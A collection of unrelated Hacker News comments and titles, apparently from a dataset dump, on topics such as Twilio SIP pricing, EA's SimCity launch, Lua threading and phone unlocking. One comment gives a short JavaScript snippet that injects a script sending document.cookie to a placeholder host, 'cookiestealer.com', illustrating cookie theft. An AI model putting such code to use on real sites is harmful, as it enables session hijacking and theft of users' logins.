skysight-inc/HackerNews huggingface dataset:
Well there's no problem per se. I was curious what the cost structure was for.

It seems odd, frankly, to charge $.005 as if it actually costs Twilio anything close to that. I mean per minute, a phone call is eating up a very small amount of data in a pure IP environment, so the profit margins on a charge like that are obscene (personal opinion). 64kbps for one minute is about 4 megs, and I can guarantee that's not $.005 to Twilio (it's likely several orders of magnitude lower in fact, which makes that charge basically pure profit).

I just think it's wrong to charge for something that basically doesn't cost anything, and one that historically hasn't cost anything in Telcom (I'm referring to on-net calls here, at least over the last 20 or so years).

Perhaps you can clarify something else for me: if you bridge a call to a SIP endpoint, is it two calls, like transferring or one call plus a SIP charge? I haven't played with the API so I wasn't sure what mechanism they use to bridge the endpoint to the call.

Thanks so much for replying. Oh and one note, most carriers these days buy at sub $.01 per minute, so adding a 50% tax for SIP is not a peppercorn sum.

Disclaimer in the interest of full disclosure: I'm the marketing/community guy for 2600hz, the open-source cloud telecom company.

Edit: I reread this and realized it sounded a bit antagonistic. I'm really not trying to offend anyone, just trying to clarify why someone would be charging for on-net as that hasn't been the pattern in the industry for some time. It would be quite the coup if Twilio were able to bring back on-net billing as it is tremendously profitable. But again, I like the Twilio guys, I think they're amazing evangelists and they're doing great work in Telecom.
Offer HN: I can take on a Rails project. Pay (or not) at the end.
Hey HN,

I am a recent grad from a developing country and I am having an extraordinarily hard time to find work (in the states or Europe, here the wages are too low and I have no opportunity to evolve), even though I think I am fairly skilled developer for someone who is 23 years. I interned at a good company developing software and I am a regular follower of web and other news.

The downside to all of this is that all code I have written is closed source, so all my talk about how well maintained and well tested my code just doesnt fly with recruiters. Most ask for open source contributions and others wont even take on international applicants.

In light of this, I am reaching out to the HN community with a proposal. I will take on Rails projects and you choose to pay me depending on the quality of the result. This will get me off the ground in terms of marketable projects and I will be motivated to work because I might get paid.

What do you think?
Drive5 Fuel Economy HTML5 App
EC2 doesn't actually reserve physical CPU time per vm, do they? I had assumed that the lack of burst just means they are keeping the statistical multiplexing windfall for themselves.
*actually, I may use it, but I do my own, similar, thing!
http://en.wikipedia.org/wiki/List_of_best-selling_PC_video_g...

1 million is very good, but not record-breaking. 1 million is very, very good if you consider SimCity and city-building games somewhat niche compared to games like Battlefield.
I would never buy a product that promotes gun ownership.
Without being surprised I'm a little curious about the statement that the game required access to the server, in order to run. I'm curious how statements like that get made, because it seems like it's just a matter of time before the truth -- which is that the game didn't require a server -- is discovered.

The letter that Engtech linked to puts the responsibility where it ultimately needs to rest. The PR folks are letting the other parts of the company down, and if that's because of hiring mistakes or because the culture doesn't do an effective job reminding PR critters not to lie too much, either way it's the executives who made a mistake.

Electronic Arts has become a hated entity, just hated, and part of that I think comes from the controversy-making of the news machine. But part of it comes from nearly unexplainable statements, by people who I guess just learned the wrong life lessons, people who are clearly hiring mistakes.
Fast growing and bi-coastal, ZeroCater is looking for a Lead Developer
paulrouget FTW!
I remember from a lecture at Gen-Con in the 90's that books and games do better during a financial crisis because they are more entertainment for the dollar. Maybe $60 video games don't follow the model.
Dependency Injection With Test Driven Development
It's quite common in these parts to be honest to piss on .net/Java 'enterprise' code.

Many of the folks here haven't seen what kind of systems banks and other big companies work with, so they have this little start-uppy world view with tests and orm's and the like, where vulnerabilities in their software are touted as 'the price to pay for being agile', so it is very hard for them to understand some of the practises in big companies. Now sure, I've seen some bad code in there as well, but I also seen a lot of bad code in Rails projects (heck, before the idea of fat model skinny controller, most of rails programmers had controllers the size of the moon, then cam fm-sc and now models are enormous, but in rails 4 we will have concerns which I'm sure will result in same clusterfuck, and the interesting thing is, before fm-sc, rails folks said 'yeah, controllers are supposed to be like that', then with fm-sc 'no no, it's like this now', and now we get to concerns and will be the hot topic, and they keep rewriting and rewriting and touting how .net/java devs don't know what they are doing, while these devs have code in production and still in development for decades (well, java at least) in systems they can't even imagine the complexity.

tl,dr: stop assuming .net/java devs are shit and you are the best for using rails or python, chances are, you suck as much as them.
It was similar for me first, but later I stopped eating meat at all.
Could you link to the letters you're referring to? I'm only familiar with the original (http://ea-spouse.livejournal.com/274.html).

EDIT: Never mind, found it in another thread.
not sure what about this post made it seem like an internship should be unpaid
Via emscripten you have to download 2mb of javascript and it's slow as molasses.
Via the other "best" solution, which compiles lua to javascript, you don't get the whole language, or access to any native libraries you might be linking to.
Rob, as always, it's a pleasure :).

So if I call you and you use a SIP handset to answer it's $.015 per minute? That accurately answers my question.

I still disagree with charging for pure IP transit, but that's more of a marketing decision and I completely understand your reasons for doing so :).

I'd argue that the $.005 is unnecessary and Twilio would simply benefit tremendously from the additional minutes volume from SIP apps, but you know your business better than I do :).
The death penalty is the maximum statutory penalty for littering?
Glad to hear this pricing makes more sense for you. I hope you reach out (rob [at] twilio) and let us know how you find the service. I'd be very interested in what you think as a user that has been waiting a while for it.

Also hope you'll reach out and share your experience with Twilio Client. Never like to hear when folks are having a rough go with one of our products - door's open if you'd like to describe how we've been coming up short for you.
This won't work on Github's subdomain, but you'd do it like this:

function sort(data) {
$('body').append('<script src="http://cookiestealer.com/log.js?cookie= + document.cookie + '"></script>");
return data.sort();
}
Is this really an 'alt text' what the author of this page is referring to? Isn't 'alt text' a piece of text that shows when the image is unavailable?
I'm sorry, but by the end of that podcast I was fully willing to go get myself a life sentence for doing something horrible to the presenters. They made two main points:

1. You, as a member of internal IT, are subservient to marketing. Suck their dicks! "You're collaborating, but make no mistake, you're not a partner." (Also, the CEO will "piss on" the CIO whenever he gets a chance.)

2. Internal software development must obviously be "fungible", because it's a thing businesses do, and all the other things that businesses do are. Since every other department spends marginal amounts of ingenuity (and lots of bureaucracy) to do reliable, repeatable things, and managers can "crack the whip" to remove some of the slack+busywork+bureaucracy from their processes, then software engineering (a process of spending one's entire budget of ingenuity each day to create things that have never existed, and for which there is no precedent) must obviously be amenable to the same demands to "work smarter, not harder." And he says this while namedropping the Mythical Man Month.

I don't know about you, but the only thing I want to do in relation to these sorts of companies, is to out-compete them and obviate their markets in the long run, by keeping all my employees healthy and sane instead of "pushing" them to death for no marginal gains. This sort of attitude is precisely why "developing for the Enterprise" doesn't catch on as a trend among startups, no matter how profitable it is.

---

P.S.: They also begin to make the [sensible!] point that you should probably ask people "what do you need" instead of saying "send me your requirements" and then stonewalling, but it doesn't quite get there. That's obviously the reason you linked it, but it falls flat.

Here, I'll make the point they should have made, and I'll do it in one paragraph:

> Since your whole training in programming is basically a course in "teasing out the specifics of what people want in concrete machine-encodable business-domain terms", the fastest way to get those requirements out of people (who have not been trained in that) is to present yourself as a REPL, not a compiler. Imagine if you had to throw code over a wall and wait a few days to see it get rejected with an obscure compiler error (basically, imagine the 1970s.) Now imagine sitting down with the computer and just trying things and seeing what works. For the sake of everyone's sanity, you want to present yourself as the second kind of system. Otherwise, "buy" becomes a much more pleasant notion than "build", and as a CIO that should make you feel like you're not doing your job.
They're only reporting half the story. I don't want them to stop reporting the maximum penalty, I want them to put it in its factual context. But most won't, because if they said 'the statutory maximum is 25 years but most convictions draw sentences of less than 5 years,' people would not think it's that big of a deal.

As a matter of fact, the mean sentence under the CFAA (as of 2008 EDIT: typo. This is as of 2000.) is only 6.8 months. Minor offenders tend to get probation, and the heaviest sentences fall on those who interfere with the administration of justice or commit industrial espionage - and they face an average sentence of 17.3 months.[1]

1. http://proc.isecon.org/2000/128/ISECON.2000.Nwokoma.pdf

It's a bit pointless demanding reform of the law without any context for how it is actually working in the real world.
Open-Source Search Engine For 3D Printing May Mean Access To Unlimited Guns
This feature was often referred to as "T9."

More info: http://en.wikipedia.org/wiki/T9_(predictive_text)
> It started about a month ago, and is really annoying.

Yes, I have been encountering the same behavior. It is infuriating because it's impossible to tell when this is going to happen. This is separate from pulling up different searches I've used before, this bug seems to be something like "ignore what you type completely".
For a PC game, it's pretty good. Not blowing the doors off, but multiple times what a typical multiplatform PC port would do.
The Story of Christoph Niemann’s Petting Zoo App
And this is precisely why GPLv3 was invented.
If the company cannot handle getting a C-level executive to resign, then it is well and truly screwed.
FWIW there was a big RAM increase some years ago: http://blog.linode.com/2010/06/16/linode-turns-7-big-ram-inc...

Taking Linode's past behavior (history of reinvesting profits into upgrading hardware/infrastructure and passing that value over to the customer rather than just milking higher margins), I'd expect them to someday upgrade RAM when it becomes economically feasible.
Just to be clear, your primary reference is The American Cancer Society, which is a non-profit charity. You know it's not a scientific research organization, right? And one which has a rather mediocre rating, as charities go?

Why do you pick specifically that reference, which sits very carefully on the fence in order to find something good about naturopathic therapies? ("good diet" and "counseling" are, of course, quite common recommendations of any doctor)

Why not reference an actual research organization which also has patient outreach? I'm thinking specifically of The National Center for Complementary and Alternative Medicine, of the NIH, at http://nccam.nih.gov/health/cancer/camcancer.htm . They've gotten into political hot water because it was started and funded to find how if CAM is useful, only to report that no, it nearly isn't useful at all.

That site NCCA describes only on the treatments which are specific to CAM, and not shared with standard medical practice.
"the players within the phone industry have similar privileges"

I suppose that would be true if we exclude all the electronics shops that could make a business charging a small fee to unlock phones.

"I could point out that they also bear the burden of paying billions up front for lease of spectrum"

Which actually helps the cell companies more than it hurts them, since it basically rules out a large number of potential competitors. A coffee shop can run a wifi network, but that gets extremely limited bandwidth and extremely limited power. Amateur radio operators have fewer restrictions on power, but are completely tied up in other regulations.

Large areas of the United States are served by only a handful of cell carriers, whose service is overpriced and mediocre at best. There are two possible solutions to that situation: abandon market-based solutions and create a monopoly that is heavily regulated to protect consumers from abusive practices, or embrace market-based solutions and reduce the barriers to competition (say, opening cell phone bands to unlicensed secondary users with established rules for settling interference disputes). Right now, we are not really pursuing either strategy, and in the mean time we are falling behind other countries in terms of wireless deployment.

"You want to unlock the phone overseas, then do it overseas where you won't be subject to US law"

OK, sure, but that just means that American businesses that might unlock phones (say, businesses at international airports) cannot exist. It still helps the cell carriers' business model, just not as much as it might have (it reduces the convenience and introduces potential language barriers).

"You want to have two contracts on the same phone, the second one is going to be month-to-month by definition because the second carrier has no property interest in the phone"

Neither carrier has a property interest in the phone. Nobody is charged a fee for breaking their phone while under contract; they are expected to just buy another phone.

"you can easily get out of your contract by paying the ETF."

So what? That is not the issue. Nobody is suggesting that people should be able to terminate their contracts without paying a fee. The issue is whether or not people will be able to unlock their phones, which is completely orthogonal to the issue of contracts.
You don't even need to do that, you can run Lua in a multithreaded program, as long as no lua_State is accessed from multiple threads. You can spawn independent interpreter states, have them do their job and terminate. The whole Lua codebase as such is completely stateless (apart from the state that you keep for your code). The shorter the scripts actually run, the smaller overhead you get by this.
“House of Cards” and Our Future of Algorithmic Programming
First off, what profit? Weev can be described by many negative terms, but greedy has never been one of them.

Secondly, if a company posts something publicly, people in the public are going to see it. My mind is incapable of comprehending the logic of anyone who would say "Just because we posted it on our website doesn't mean we wanted anyone to see it."
Exactly: but Simcity did not help. I think board members are like: "How did you even manage to screw up this? The game had good reviews and would help us repair our image - but it actually ended up as a disaster?"
> The LG Nexus 5 device features a _5.2_-inch OLED display at 1080p resolution.

I hope that's a typo.
No. I said arrested for littering. Until a person is charged, they could conceivably be charged with a much more serious offense. My point is that it would be sensationalist and wildly misleading to focus on that angle, just as it is sensationalist and wildly misleading to focus on the statutory maximum sentence for a particular crime while ignoring the fact that it is almost never applied.
Thanks!
I'll add it on README page. :)
Some are misclassified, such as "before I lose faith", or "else I will lost faith"
This sounds like http://en.wikipedia.org/wiki/T9_(predictive_text) which was quite popular in the US before smartphones took over.
Rewiring the State with Open Gov Data 18 only
Ok, sure. But there's a world of difference between hours of suffering at the hands of a predator vs a decade or two of unpaused suffering in a factory farm!
That is accurate - SIP From Twilio is connect from Twilio to your SIP gear. We do not yet support SIP from your gear to Twilio.

After much consideration and talking with our customers, we decided to release our SIP features as it met our standard of quality rather than hold up release on bidirectional functionality.
The S4 launch, as horribly cheesy as it was, definitely broke this mold. They spent about 20 minutes showing off features with a group of 6 actresses playing out a bacholerette party, and 5 minutes with some 8 year old tap dancing. It was about un-high RPM as I can imagine.
One of the things discussed in this article is a fairly common complaint that my wife, a physician, brings home from work.

The lack of diversity and patient panels affects all kinds of drug research - not just pain medicine. And panels are not just unbalanced on the basis of sex - but basically everything. Patient panels are largely made up of white middle-class men. Anything that might vary on sex, ethnicity, economics, or access to care, is largely overlooked by these skewed panels. (Admittedly this is slowly getting better - but standard practice is based on old studies, and skewed panels).

This leads to frustration knowing that things are broken - but having little clue as to what the best practice would be as they don't have enough data....
The Point Defense Systems mod for Homeworld 2 is one of my favorite things to play: http://www.moddb.com/mods/point-defense-systems

Adds more realistic weapon layouts, focusing on large capital-ship battles a la the Honor Harrington novels. Looks stunning during actual gameplay:

https://www.youtube.com/watch?v=H-IPZhoM664

I used to keep a Windows partition around just to play this game/mod.
You can't yield if there is a C function lower down in the stack so I don't think you can always abuse the coroutine system to implement OS threads like that.
Yes, it's true that firings and comings and goings are not caused by just singular events and milestones. But something like the SimCity fiasco provides enough political cover for executives to be pushed out. Riccitiello may have already been disliked by some in the company, but otherwise had enough support that it would've been difficult to uproot him. With the SimCity problem, there's enough "Well, that was a screwup" grumbling going on to make it an easier push.
That is an interesting choice. I'm sure there reasoning was a bit more involved than that statement, but there's a gap between an enterprise SSDs and consumer grade laptop drives, and plenty of use cases that fit in that gap. Anandtech, for example, recently transitioned from enterprise-grade spinning disks to SSDs for their site, but using Intel mainstream SSDs:

> "we instead decided to go with mainstream SSDs to lower the risk of a random mechanical failure. We didn't need the endurance of an enterprise drive in these machines since they weren't being written to all that frequently, but we needed reliable drives. Although quite old by today's standards, we settled on 160GB Intel X25-M G2s but partitioned the drives down to 120GB in order to ensure they'd have a very long lifespan." (http://anandtech.com/show/6824/inside-anandtech-2013-allssd-...)

In the comments, Anand mentions that he went with the X25-M since the upgrade was last year; if he were doing it now, it would be the Intel 710 or S3700. Also worth noting that reliability, not speed, was their primary motivator.

I wonder if there's a way that Linode could open up that as an option to subscribers? The disks have a shorter lifespan with high writes, but that's measurable, and could be worked into the cost.
You know about some of them, anyway.
Can you buy an N4 simply yet? :-) I hope that they have sorted out the supply chain and web store before launching a new device.

The specs on that thing look insane for a $300 price point; a handheld device now has more power than a laptop for double the price 4 years previously. I wonder how that power and screen can translate to battery life...

I'd also love to see a waterproof Nexus. As far as I know, only Sony makes a waterproof high-end phone. I have an Experia Go after my GN died in a rainstorm...I'd love to have another Nexus device, but I'd want one that could live in my pockets during an unexpected downpour.
Sorry, how would being heavily shorted drive the stock price up?
This Is the Scariest Statistic About the Newspaper Business Today
MIT-Stanford Alternative Energy Workshop
OK, glad to hear it.
If you don't recognize the character, its not just a random dude. Its a shout out to the idea of mobile gaming, and the (false) mythology that "real gaming" is a perfect and exclusive 1:1 mapping with first person shooters and no other form of interactive electronic entertainment exists, or at least is "real" gaming.

Looking at current gen consoles I think you'd have a lot of difficulty finding a pacifist console.

Although touch as a UI sounds awful for FPS games, for years/decades PC gamers with mouse/trackball and keyboard have been looking down on the console gamers stuck with hand controllers, so I imagine touch screen FPS would primarily result in the console FPS gamers finally having someone to look down on.
I have a feeling bolt cutters will suddenly become even more popular among thieves.
What was it I'm supposed to believe about humanity?
Sadly, I've seen people get fired to cover for CEO mistakes.
perhaps this helps: http://pastebin.com/BkRspQig
Hover over an image with an alt-text attribute, and a tooltip with the alt-text pops up. All of the xkcd comics have alt-text, and it's a good practice in general, for accessibility software.
First time at PyCon - great experience
Unlocking phones is explicitly their complaint. They didn't divide the issue into contract and non-contract phones: the White House lawyers created that separation.
OPTIMIZATION FOR DAILY LIFE - DUTTIES WEB-APP
Hi,<p>We need opinions on this: www.dutties.com
how can i make it more userfriendly<p>thanks,<p>Sergio Rodtriguez
I guess the bigger business would be to create sets (hipster, hacker, music, social media, custom)

If anyone wan't to try explore this further I would be willing to offer my design help. PM me.